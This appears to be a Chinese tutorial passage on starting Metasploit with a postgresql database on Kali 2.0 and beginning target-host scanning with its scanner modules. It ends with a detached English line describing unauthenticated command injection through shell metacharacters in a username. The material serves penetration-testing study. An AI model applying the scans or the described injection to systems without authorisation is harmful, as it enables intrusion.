由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。 在kali 2.0中启动带数据库支持的MSF方式如下: 1 首先启动postgresql数据库: /etc/init.d/postgresql start;或者 service postgresql start; 2 初始化MSF数据库(关键步骤!):msfdb init;(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空) 3 运行msfconsole:msfconsole; 4 在msf中查看数据库连接状态:db_status。 5更新metasploit:msfupdate(我的更新,暂未成功,应该是源的问题!) 6设置启动 自动启动msf和postgresql: update-rc.d postgresql enable update-rc.d metasploit enable 好了,现在我们来试试,怎么用吧!
在Metasploit中,附带了大量的内置扫描器。使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络的服务信息。本节将介绍使用Metasploit中的辅助模块实现扫描。 【实例4-4】在Metasploit中,扫描目标主机。具体操作步骤如下所示: (1)启动MSF终端。执行命令如下所示: root@kali:~# msfconsole msf> (2)搜索所有可用的扫描模块。执行命令如下所示: msf > search scanner

By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!
